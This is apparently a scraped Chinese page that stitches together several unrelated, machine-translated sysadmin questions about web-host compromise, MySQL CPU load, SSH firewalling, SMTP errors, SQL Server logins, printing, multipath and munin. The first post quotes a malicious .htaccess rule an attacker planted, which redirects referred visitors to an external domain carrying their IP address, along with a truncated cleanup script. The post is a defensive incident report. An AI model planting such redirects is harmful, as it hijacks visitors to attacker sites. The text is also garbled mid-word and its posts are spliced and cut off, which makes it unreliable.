服务器 Gind.cn

我们运营一个托pipe大约300个网站的网站服务器。 昨天早上，一个脚本在大多数（但不是全部）站点的document_root下的每个目录中都放置了.htaccess文件，这些文件由www-data（apache用户）拥有。 .htaccess文件的内容是这样的： RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} 谷歌search该url（这是“杀毒软件”的md5哈希），我发现这一切都发生在互联网上，并正在寻找已经处理这个问题的人，并确定漏洞是在哪里 。 我搜查了大部分日志，但还没有发现任何结论。 有没有其他人经历过比我更深入的洞察？ 到目前为止我们已经确定： 所做的更改是作为万维网数据，所以Apache或它的插件可能是罪魁祸首 所有的改变都是在15分钟内完成的，所以可能是自动的 由于我们的网站域名广泛不同，我认为一个网站上的单个漏洞是负责任的（而不是每个网站上的常见漏洞） 如果一个.htaccess文件已经存在，并且可以通过www-data写入，那么脚本就很实用，并且简单地将上面的代码行附加到文件的末尾（使其易于反转） 任何更多的提示将不胜感激。 == ==编辑 对于那些需要它的人，这里是我用来清理.htaccess文件的脚本： #!/bin/bash PATT=84f6a4eef61784b33e4acbd32c8fdd72.com DIR=/mnt TMP=/tmp/`mktemp "XXXXXX"` find $DIR -name .htaccess|while read FILE; do if ( grep $PATT "$FILE" > /dev/null); then if [ `cat "$FILE"|wc -l` -eq 4 ]; […]

我们的MySQL服务器最近一直在使用大量的CPU（几次达到100％，并停留了一段时间），我注意到它的CPU负载都在一个CPU的一个核心上。 我希望能够在我的服务器上传播到全部4个。 我一直在调整MySQL的设置，以使用更多的内存和更less的CPU，但它偶尔会达到非常高的CPU使用率。 似乎所有关于这个主题都是指thread_concurrency（我读过的只是solaris设置）。 我能在Linux上做什么？ 谢谢。

有没有办法拒绝所有的external traffic (WAN) SSH和只允许本地stream量(192.168.0.1 to 192.168.0.255)和什么将是规则？

我的系统上的cat / proc / cpuinfo为我的2个内核提供了不同的标志。 有人可以向我解释为什么？ 我运行Ubuntu 10.10内核2.6.35-24通用。 processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 23 model name : Intel(R) Core(TM)2 CPU E8400 @ 3.00GHz stepping : 10 cpu MHz : 2999.820 cache size : 6144 KB physical id : 0 siblings : 2 core id : 0 cpu cores […]

我想知道，如何在iSCSI上使用存储来设置“传统”虚拟机，使用DRBD进行回退，使用Xen以“常规方式”安装节点，将其图像存储在iSCSI目标上等等，与云解决scheme相比， Ubuntu企业云？ 研究云似乎并没有给我太多具体的信息。 我还有一大堆的不确定因素。 例如，Ubuntu企业云是否集成了冗余/回退存储和故障转移虚拟机节点？ 可以像添加另一个存储节点一样简单地扩展存储吗？ 让我这样问：现在Cloud的东西越来越stream行，用上述工具实现一个xen设置是不明智的？ 旧的方式会很快被弃用吗？

我们的用户可以通过点击一个button发送来自ASP.NET Web应用程序的电子邮件。 在我们的testing环境中，出现了一件奇怪的事情。 应用程序第一次尝试发送电子邮件，我们得到的例外： 信箱不可用。 服务器响应是：5.7.1客户端没有权限发送此发件人 有趣的是，当用户再次点击button（所以应用程序试图再次发送电子邮件），它的工作原理，并发送电子邮件。 如果您稍等片刻，您将再次收到错误消息，但是第二次点击则可以毫无问题地发送电子邮件。 如果你的速度足够快，可以发送一封新邮件。 这是我们使用的（简化）代码： Dim smtpClient As New SmtpClient(<smtp mail server goes here>) smtpClient.UseDefaultCredentials = True mailMessage.From = New MailAddress(<from address>) smtpClient.Send(mailMessage) 尽pipe如此，这在生产环境中仍然有效。 我们正在使用Microsoft Exchange，我们的客户也是如此（生产环境）。 有没有人有过类似的事情（第一次出错，第二次就像魅力一样）？

我正在尝试添加一个域用户。 我正在做以下。 展开安全性 右键单击login select新login… login名称selectsearch 点击位置并select整个目录 input用户名 点击检查名称 名字下划线，并添加一些更多的信息 点击OK 点击OK 然后我得到以下错误： 我发现http://support.microsoft.com/kb/324321 。 login确实存在 没有重复的安全标识符 身份validation失败我不认为正在发生，因为我可以浏览广告 区分大小写不应该是问题，因为我正在执行检查名称，并且正在纠正它。 不是本地帐户 再次命名parsing我可以看到AD 我重新启动了服务器（VM），问题仍然存在。 有任何想法吗？ 编辑 我也有： 域成员：对安全通道数据进行数字encryption（如果可能） – 禁用此策略 域成员：对安全通道数据进行数字签名（如有可能） – 禁用此策略 重新启动的服务器 http://talksql.blogspot.com/2009/10/windows-nt-user-or-group-domainuser-not.html 编辑2 我也有： 对安全通道数据进行数字encryption或签名（始终） – 禁用 重新启动 编辑3 由于问题已经移动网站，我不再有评论等访问… 我已经检查服务器上的DNS到它正在工作的机器。 这两个DNS服务器是相同的…

我们正试图将我们的打印环境标准化，以便在各种打印队列中提供一致的设置。 为此，我们希望为每种型号的打印机创build一个设置文件，以便可以使用它们快速部署新的Windows打印服务器和具有标准设置的队列。 我们用过了 Rundll32.exe PrintUI.dll,PrintUIEntry /Ss /n <Queue> /a <SettingsFile> 创build设置文件没有错误。 但是，现在我正在尝试使用它们来恢复另一台服务器上的设置 Rundll32.exe PrintUI.dll,PrintUIEntry /Sr /n <Queue> /a <SettingsFile> 我收到错误“操作无法完成（错误0x0000000c）”。 这转换为Windows错误代码：ERROR_INVALID_ACCESS，虽然这可能是一个红鲱鱼。 我使用的服务器都是Windows Server 2008 R2 RTM，我的队列都指向安装了相同驱动程序的同一台打印机。 UAC在两台机器上都是禁用的，而且我正在以pipe理员身份运行。 有没有人有任何想法如何解决这个问题？ 或者，我们可以使用什么方法在每个设备级别为100s的打印队列提供一致的打印队列设置？ 非常感谢。

我们有两台类似的SLES10SP2服务器，它们在同一个存储arrays的相同设备上使用多path。 在一台服务器上，/ dev / disk / by-id / scsi- *设备正确指向多path设备： server1:/dev/disk/by-id # ls -l scsi-* | awk '{print $9,$10,$11;}' scsi-3600a0b80005047d80000050c4933f22c -> ../../dm-1 scsi-3600a0b80005047d80000050c4933f22c-part1 -> ../../dm-2 scsi-3600a0b80005047d80000050c4933f22c-part2 -> ../../dm-3 scsi-3600a0b80005047d80000b0a14dbb20e4 -> ../../dm-0 另一方面，/ dev / disk / by-id / scsi- *磁盘设备指向其中一个path而不是多pathdm设备： server2:/dev/disk/by-id # ls -l scsi-* | awk '{print $9,$10,$11;}' scsi-3600a0b80005047d80000a3464a07f6ee -> ../../dm-1 scsi-3600a0b8000505008000004f84933e183 -> ../../sda […]

我有一个munin安装程序运行，我希望保持我的munin-node设置不变，同时获得更长，更详细的日志数据视图。 我想保持所有logging的数据不确定。 一个理想的解决scheme将使用类似注释的时间线小部件，以便我可以放大到历史上的任何一点。 编辑：我已经发现，munin使用有损数据库，所以我期待我需要的东西，取代它; 也就是说，除非我错了，否则任何不能代替穆宁的答案对我来说都是无益的。 我所希望的是能够替代慕尼黑，能够阅读muninconfiguration文件的相应部分（例如所有munin-node的地址），并且完全不需要对munin-node安装进行任何修改